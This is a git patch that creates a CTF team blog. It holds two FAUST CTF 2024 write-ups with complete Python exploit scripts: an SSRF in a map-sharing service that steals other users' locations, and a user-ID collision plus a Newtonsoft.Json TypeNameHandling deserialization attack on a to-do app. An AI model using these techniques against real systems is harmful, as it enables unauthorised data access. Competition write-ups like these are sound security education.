From 379f61acdc3d84fcfdd3596d74a9f2e8a907e224 Mon Sep 17 00:00:00 2001 From: Sijisu Date: Mon, 14 Oct 2024 21:24:26 +0200 Subject: [PATCH] Added blog --- .gitignore | 1 + .gitmodules | 3 + archetypes/default.md | 5 + content/posts/faust2024-quickrmaps-writeup.md | 162 ++++++++++++++++++ content/posts/faust2024-todolist-writeup.md | 144 ++++++++++++++++ hugo.yaml | 34 ++++ static/android-chrome-192x192.png | Bin 0 -> 8130 bytes static/android-chrome-512x512.png | Bin 0 -> 31419 bytes static/apple-touch-icon.png | Bin 0 -> 7346 bytes static/favicon-16x16.png | Bin 0 -> 423 bytes static/favicon-32x32.png | Bin 0 -> 913 bytes static/favicon.ico | Bin 0 -> 15406 bytes static/site.webmanifest | 1 + themes/PaperMod | 1 + 14 files changed, 351 insertions(+) create mode 100644 .gitignore create mode 100644 .gitmodules create mode 100644 archetypes/default.md create mode 100644 content/posts/faust2024-quickrmaps-writeup.md create mode 100644 content/posts/faust2024-todolist-writeup.md create mode 100644 hugo.yaml create mode 100644 static/android-chrome-192x192.png create mode 100644 static/android-chrome-512x512.png create mode 100644 static/apple-touch-icon.png create mode 100644 static/favicon-16x16.png create mode 100644 static/favicon-32x32.png create mode 100644 static/favicon.ico create mode 100644 static/site.webmanifest create mode 160000 themes/PaperMod diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..364fdec --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +public/ diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..89af1b0 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "themes/PaperMod"] + path = themes/PaperMod + url = https://github.com/adityatelange/hugo-PaperMod.git diff --git a/archetypes/default.md b/archetypes/default.md new file mode 100644 index 0000000..c6f3fce --- /dev/null +++ b/archetypes/default.md @@ -0,0 +1,5 @@ ++++ +title = '{{ replace .File.ContentBaseName "-" " " | title }}' +date = {{ .Date }} +draft = true ++++ diff --git a/content/posts/faust2024-quickrmaps-writeup.md b/content/posts/faust2024-quickrmaps-writeup.md new file mode 100644 index 0000000..25a3764 --- /dev/null +++ b/content/posts/faust2024-quickrmaps-writeup.md @@ -0,0 +1,162 @@ +--- +title: "FAUST CTF 2024 QuickR Maps Writeup" +date: 2024-10-11T06:00:00+02:00 +author: "Hackrrr" +tags: [ "writeups" ] +--- + +QuickR Maps service allows users to store and share locations on map. There are two instances hidden behind one frontend/proxy - public and private. Public instance shows all stored locations to everyone, private instace shows only locations accessible to you (that are either yours locations or locations explicitly shared with you). + +## SSRF +Application had only one "frontend" which then handled to which instance/server will actually go. This is based on `server` GET parameter. Original logic for handling and validating looks like this (logic is basically same for every endpoint): +```py +@main.get('/api/locations') +def get_locations(): + server_host = request.args.get('server') + server_url = f"http://{server_host}:4242/location/" + u = urlparse(server_url) + if u.hostname not in REGISTERED_PRIV_SERVERS + REGISTERED_PUB_SERVERS: + flash("Server not supported", "danger") + return redirect(url_for('main.add_location')) + # ... + requests.get(server_url, timeout=TIMEOUT) + # ... +``` + +This is quite obviously flawed - first URL is constructed from user supplied value (`server` parameter) and then this "new" URL is validated/parsed to check if it is one of allowed backend instances/servers. This allows us (= attackers) to send basically any request to any backed server if we supply "correct" value to `server` paramters (e.g. `private_loc:4242/some/backend/endpoint&x=` becomes `http://private_loc:4242/some/backend/endpoint` (assuming that `x` is ignored by backend server (which is))). + +We can use this ability to share locations from another user to us on private instance: +```py +session.post( + f"http://[{host}]:4241/api/share", + data={ + "server": f"private_loc:4242/share/{TARGET_USER}?receiver={OUR_USER_ID}&x=", + "receiver": OUR_USER_ID, + }, + allow_redirects=False, +) +``` + +*Note: Same/Similar could be done also on other (frontend) endpoints (e.g. bulk add).* + +Patch is *really quite simple*, just don't use `urlparse()` at all and check `server_host` validity directly. This patch needs to be done for every endpoint. + +## Getting the flag +Vulnerability was (at least for me) actually the easy part... Extracting the flag was the hard/annoying part. One would thought that flag would be stored in descripton of some location but no. We were little confused when we found out that there is no flag in descriptions of stolen locations (from checker/flagID user). So we had a look at map of stolen locations and saw one dense area of points... and when we zoomed in we realized that it is a QR code (it requires a bit of cleanup by showing only oldest locations/points). + +Fist flag we submitted manully just by taking our mobile phone, scanning it from screen and sending it to game server (sorry team Spain) just as sanity check that this is actully thing we need to do. And then I spent not exactly small amount of time trying to parse QR code in Pyhton (this was so painful, I tried several different libraries for QR code parsing until I found something that worked somehow): +```py +import zxingcpp +import numpy +from PIL import Image + +# Get the locations (assuming we already somehow got valid `session`) +locs = session.get(f"http://[{host}]:4241/api/locations?server=private_loc").json() + +# Keep only oldest locations +timestamp = min(x["timestamp"] for x in locs) +filtered = [x for x in locs if x["timestamp"] == timestamp] + +# Creating a "grid" so we can than translate lat/long to x/y +lats = set() +longs = set() +for x in filtered: + lats.add(x["lat"]) + longs.add(x["lon"]) +lats = sorted(lats) +longs = sorted(longs) + +# Create QR code image +img = Image.new(mode="RGB", size=(len(lats), len(longs)), color=(255, 255, 255)) +for x in filtered: + img.putpixel((lats.index(x["lat"]), longs.index(x["lon"])), (0, 0, 0)) + +# Parse QR code +# This was the annoying part :) +cv_img = numpy.array(img.convert("RGB"))[:, :, ::-1].copy() +for x in zxingcpp.read_barcodes(cv_img): + print(x.text) +``` + +And so final exploit looks like this: +```py +#!/usr/bin/env python3 + +import json +import random +import string +import sys + +import numpy +import requests +import zxingcpp +from PIL import Image + +host = ... +flag_id = ... # = Target username + +def randstr( + length: int, extra: str = "", chars: str = string.ascii_letters + string.digits +) -> str: + return "".join(random.choices(chars + extra, k=length)) + +# Random "checker looking" username +user = f"striker_guardian_{randstr(32, chars="0123456789abcdef")}" +password = randstr(32, chars="0123456789abcdef") + +# Register +session = requests.Session() +session.post( + f"http://[{host}]:4241/register", + data={"agent_alias": user, "password": password}, + allow_redirects=False, +) +# Login +r = session.post( + f"http://[{host}]:4241/login", + data={"agent_alias": user, "password": password}, +) +# Getting our user ID +user_id = r.text.split('
ID: ', 1)[1].split("
", 1)[0] + +# Exploit +session.post( + f"http://[{host}]:4241/api/share", + data={ + "server": f"private_loc:4242/share/{flag_id}?receiver={user_id}&x=", + "receiver": user_id, + }, + allow_redirects=False, +) + +# Getting the flag +locs = session.get(f"http://[{host}]:4241/api/locations?server=private_loc").json() +timestamp = min(x["timestamp"] for x in locs) +filtered = [x for x in locs if x["timestamp"] == timestamp] + +lats = set() +longs = set() +for x in filtered: + lats.add(x["lat"]) + longs.add(x["lon"]) +lats = sorted(lats) +longs = sorted(longs) + +img = Image.new(mode="RGB", size=(len(lats), len(longs)), color=(255, 255, 255)) +for x in filtered: + img.putpixel((lats.index(x["lat"]), longs.index(x["lon"])), (0, 0, 0)) + +cv_img = numpy.array(img.convert("RGB"))[:, :, ::-1].copy() +for x in zxingcpp.read_barcodes(cv_img): + print(x.text) +``` + +## Other way to the flag +There is also different "vulnerability". There is one specific line in `__init__.py`: +```py +app.config['SECRET_KEY'] = 'secret-key-goes-here' +``` + +We realized this like in half of whole A/D (and I'm being very optimistic here with this time) and so... well... yeah, ~~we~~ I'm dumb. :) + +Anyway, you could use this key to then forge session as target user and just get its locations. Unfortunatelly we couldn't make it work as we stumbled upon some weird `flask-login` "internals"/problems that we weren't able to solve. Patch is trivial, just change key to something else. diff --git a/content/posts/faust2024-todolist-writeup.md b/content/posts/faust2024-todolist-writeup.md new file mode 100644 index 0000000..6d3793b --- /dev/null +++ b/content/posts/faust2024-todolist-writeup.md @@ -0,0 +1,144 @@ +--- +title: "FAUST CTF 2024 Todo List Writeup" +date: 2024-10-11T06:00:00+02:00 +author: "Greenscreener" +tags: [ "writeups" ] +--- +I participated in this years FAUST CTF, alongside the Czech ECSC team, incognito +with a fake team name: "Team Calabria". I managed to score first blood on one of +the services, this is the writeup. + +An extremely feature-rich service written in C# (like srsly, why would you +implement 2FA for an A/D service and then never use it?). We identified two +different vulnerabilities, one based in the generation of user IDs and the other +one caused by an unsafe `Newtonsoft.Json` configuration. The one we found first +and was used for the first blood was the former. + +## User ID vulnerability + +There is a very wild looking function called `GetUserId`, which is used to +generate an ID that identifies the owner of a TODO. When a TODO is created, the +current user's ID is attached to it and only TODOs matching the current user's +ID are displayed. + +The function generates this ID solely from the username and the algorithm to +generate this ID is however extremely bad and collisions can be created very +easily. The username is first lowercased (or uppercased if it is short), then +reversed, all vowels are replaced with asterisks, all asterisks are replaced +with ones and then it is finally reversed again. Each character of the resulting +string is then turned into a number by multiplying the character value by some +constant and the resulting numbers are summed together. The resulting sum is +then turned into a string and used as the ID. + +This gives two opportunities for a collision: + +1. The following characters: `aeiou*1` are all equivalent and can be freely + exchanged without changing the resulting user ID. +2. As the numbers are all summed at the end, all characters of the username can + be reordered freely. +3. (and generally any modification that is preserved in the sum, these are just + the most obvious) + +The first exploit looked something like this: + +```python +s = requests.session() +bs = BeautifulSoup(s.get(f"http://[{host}]:8080/Identity/Account/Register", timeout=2).text) +print("Got homepage") +veriftoken = (bs.find('input', {'name': '__RequestVerificationToken'}).get("value")) +s.post(f"http://[{host}]:8080/Identity/Account/Register", data={ + "Input.Email": flag_id.replace("a", "1"), + "Input.Password": "NoNoNo1!", + "Input.ConfirmPassword": "NoNoNo1!", + "__RequestVerificationToken": veriftoken}) +print("Registered") +flagtext = (s.get(f"http://[{host}]:8080/Todo/ListTodos").text) +print(flagtext) +``` + +To make it more robust and resistant to trivial patches and fake flags, we then expanded it: + +```python +password = ''.join(random.choice(string.ascii_uppercase + string.digits + string.printable) for _ in range(40)) + +for c in "a1eioux": + username = flag_id + if c == "a": + username .join([shuf(s) for s in username.split("@")]) + elif c == 'x': + username = 'admin.' + shuf(username.split("@")[0].split(".")[1]) + "@" + username.split("@")[1] + else: + username = flag_id.replace("a", c) + print(username) + s = requests.session() + bs = BeautifulSoup(s.get(f"http://[{host}]:8080/Identity/Account/Register", timeout=2).text) + print("Got homepage") + veriftoken = (bs.find('input', {'name': '__RequestVerificationToken'}).get("value")) # type: ignore + s.post(f"http://[{host}]:8080/Identity/Account/Register", data={ + "Input.Email": username, + "Input.Password": password, + "Input.ConfirmPassword": password, + "__RequestVerificationToken": veriftoken}) + print("Registered") + flagtext = (s.get(f"http://[{host}]:8080/Todo/ListTodos").text) + flagtext = "\n".join([line for line in flagtext.split("\n") if 'FAUST_Q1' in line]) + if "FAUST_Q1" in flagtext: + print(flagtext) + return + flagtext = (s.get(f"http://[{host}]:8080/Todo/Export?format=json").text) + flagtext = "\n".join([line for line in flagtext.split("\n") if 'FAUST_Q1' in line]) + if "FAUST_Q1" in flagtext: + print(flagtext) + return +``` + +## `TypeNameHandling` vulnerability + +The second vulnerability leveraged the `TypeNameHandling` configuration option +of `Newtonsoft.Json`. This configuration option is +[bad](https://stackoverflow.com/questions/39565954/typenamehandling-caution-in-newtonsoft-json) +and is even discouraged by a +[code quality rule](https://stackoverflow.com/questions/39565954/typenamehandling-caution-in-newtonsoft-json) +(which isn't enabled by default though). + +The option allows the attacker to include a `$type` property in a JSON object, +which then causes the `Newtonsoft` deserializer to deserialize it as any type +that is available in the current assembly. This poses an obvious code execution +vulnerability, as the attacker can call the constructor or property initializer +of any class. Conveniently, the `Filter` class automatically adds itself into +the database when it's initialized using its `QueryString` property and thus can +be used to add arbitrary filters into the database and we can create a filter +that shows us the TODOs of a different user. + +```python +username = f"admin.{randstring(7)}@todo-list-{randstring(7)}.de" +password = ''.join(random.choice(string.ascii_uppercase + string.digits + string.printable) for _ in range(40)) + +s = requests.session() +bs = BeautifulSoup(s.get(f"http://[{host}]:8080/Identity/Account/Register", timeout=2).text) +print("Got homepage") +veriftoken = (bs.find('input', {'name': '__RequestVerificationToken'}).get("value")) # type: ignore +s.post(f"http://[{host}]:8080/Identity/Account/Register", data={ + "Input.Email": username, + "Input.Password": password, + "Input.ConfirmPassword": password, + "__RequestVerificationToken": veriftoken}) +print("Registered") +bs = BeautifulSoup(s.get(f"http://[{host}]:8080/Identity/Account/Login", timeout=2).text) +veriftoken = (bs.find('input', {'name': '__RequestVerificationToken'}).get("value")) # type: ignore +s.post(f"http://[{host}]:8080/Identity/Account/Login", data={ + "Input.Email": username, + "Input.Password": password, + "__RequestVerificationToken": veriftoken}) +print("Loggedin") +filtername = randstring(12) +s.post(f"http://[{host}]:8080/Todo/Import", files={"file": io.StringIO(json.dumps({ + "$type": "service.Models.Filter, service", + "Id": 0, + "User": username, + "Name": filtername, + "QueryString": "{\"User\":\"" + flag_id + "\", \"Category\": \"\", \"FromTime\": -1, \"ToTime\": -1}", +}))}) +flagtext = s.get(f"http://[{host}]:8080/Todo/ApplyFilter?name=" + filtername).text +print(flagtext) +``` diff --git a/hugo.yaml b/hugo.yaml new file mode 100644 index 0000000..bed54b7 --- /dev/null +++ b/hugo.yaml @@ -0,0 +1,34 @@ +baseURL: https://czechcyberteam.github.io/ +languageCode: en-us +title: Czech Cyber Team Blog +copyright: "CzechCyberTeam" +theme: ["PaperMod"] + +enableInlineShortcodes: true +enableRobotsTXT: true +buildDrafts: false +buildFuture: false +buildExpired: false +enableEmoji: true +pygmentsUseClasses: true + +assets.favicon: "static/favicon.ico" +label.icon: "static/apple-touch-icon.png" + +params: + ShowFullTextinRSS: true + ShowCodeCopyButtons: true + keywords: ["Cybersecurity", "CTF", "ECSC", "Kybersoutěž", "CzechCyberTeam"] + defaultTheme: dark + homeInfoParams: + Title: Ahoj! + Content: We are The Czech Cyber Team. Young people with a passion for cybersecurity from Czechia. We are gathered around the Czech national [ECSC](https://ecsc.eu/) qualifier [Kybersoutěž](https://kybersoutez.cz). The Czech National Team going to ECSC is assembled from our members. + socialIcons: # optional + - name: "twitter" + url: "https://twitter.com/CzechCyberTeam" + ShowToc: true + +outputs: + home: + - HTML + - RSS diff --git a/static/android-chrome-192x192.png b/static/android-chrome-192x192.png new file mode 100644 index 0000000000000000000000000000000000000000..243674ee022050a6b32576e5672a6515425b05f2 GIT binary patch literal 8130 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 literal 0 HcmV?d00001 diff --git a/static/android-chrome-512x512.png b/static/android-chrome-512x512.png new file mode 100644 index 0000000000000000000000000000000000000000..f30f993199a91c0a828316f091a724758b223098 GIT binary patch literal 31419 zcmeGE=UY=>us#m&gaAQWK#G7$D54;}cLE3^MG)y7kq&~=q$U(WDS}GxQkCA38oD&8 z(mM)B?>!{H@HyY}{0Gmw^D4Qnz1Pf|)n?W`_v{Z^Pal)tV7vhU0QnP@N7?`Y#{UHa zP$K-#(c9k_000M`Jd)RWYqmWXRx6|HExTvc%cm5@A;95~Rqn`L-VrVg`jo{A4Wjvi zG=nafJK%SvT~owf%N zT?uH+%2f4)nbhTQbih$2A?jW*VP+9X^KIKr8|1-#cw0I+iI({`6zFZ zfVXyXWvp+OI08W;pXbl9C%8R&ptd)9M1n01I4%^L7Ho}X|DAaceGpfg+VoF}FIi^S zd(d$fXyBKYVm(~fMEZF4+)EH1k8BDaj~9OcXT zpL|YeeChf7*<+D%yvCTje^+;L*j-zFQx9FmHzyPVAX(vnK|=u$dY=hBYyiO?Y2w^Z za_-C6pPc=a3ph#qDV=vdPy)*|HOTH4fL@RBB^>JX9w<&5%08xEy>~<+-!{KMBA>yG z-3ucZFtCAz`mI7+IP+6SAdrjNuaq6D#tRqYTf5kuT^q4E_vea4dJO63(YUi{rlmo_ z7V71EG@HB5C0q5+Xr*-ArX8?Vak@e8GRQtE&cUr%jm&*Ga7qbI@o+Uw=0S> z3k-N4G}suAyd~a0Zvxn+dFZhLBtGk23vcvu5m%{AL%hC$&t^<(SdPLOC|# zl#l4M2y|l8ew0fpRS@Q{;@z^qzB^vC!!T5--^#-%-It@S)*_U?A362<=bech z$Uy|9x9dB&9P?QVu?@br_nGKbnAq*GNrc3#KoD`pagnVEUEmwa_ctF*AZ7^^=Q)#R zVE72{RvXt#ieTl;pbMywjlV)h*Wj$?pZxvsEf?b<+6Ule>_#cp;Uocho=~|ay(SUd z6<$M`{jlUmRu4Glsw}+EDk&^`{pQg!sDrqh(SkOH_XCae&g*E$S%QYoqILa3Yf|!= zr1;RW9w9Pun-HA4eRBsq1;w}o9Hx+i_H6Y~vP4TK_)}%AlI^4Ti<1KVrUDW_rUFmW z`?tygKkQ+~E zOV1?;f2;kKg#n`2RYV#2CK_G_y$(Yo;Co0Y>_Ydm{v$a{hUzf*_xO@|)b8L4;Q1|9o}d zpub)R*}vm@8hw;9xlZ>FZ(=eoXV+{(k~C*zw>+4)Cat2=nsz)&9o1(bQ?Q>+r}I*m zlRst0?Qj(=H4;#t>YH4l3jFs3wXTRmH}L5nP~OVK7gVpgopMs?aIYwX~x`}J|4x8QW6OJ)-m%p>b?zVOPmN? 